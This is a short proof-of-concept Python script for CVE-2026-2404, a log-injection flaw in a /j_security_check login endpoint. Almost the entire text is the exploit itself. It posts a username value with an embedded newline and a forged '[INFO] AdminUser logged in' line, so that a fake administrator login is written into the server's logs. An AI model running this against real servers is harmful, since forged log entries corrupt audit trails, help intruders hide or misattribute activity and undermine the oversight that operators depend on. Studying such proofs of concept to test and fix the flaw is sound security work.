CVE-2026-2404

import requests # POC for CVE-2026-2404 Log Injection # Targeting the /j_security_check endpoint target_url = "http://target-ip/j_security_check" # Malicious payload containing newline characters to forge log entries # This attempts to inject a fake admin login entry in the logs payload = { "j_username": "attacker\n[INFO] AdminUser logged in from 192.168.1.100", "j_password": "password" } try: response = requests.post(target_url, data=payload) if response.status_code == 200 or response.status_code == 401: print("Payload sent successfully. Check server logs for injection.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

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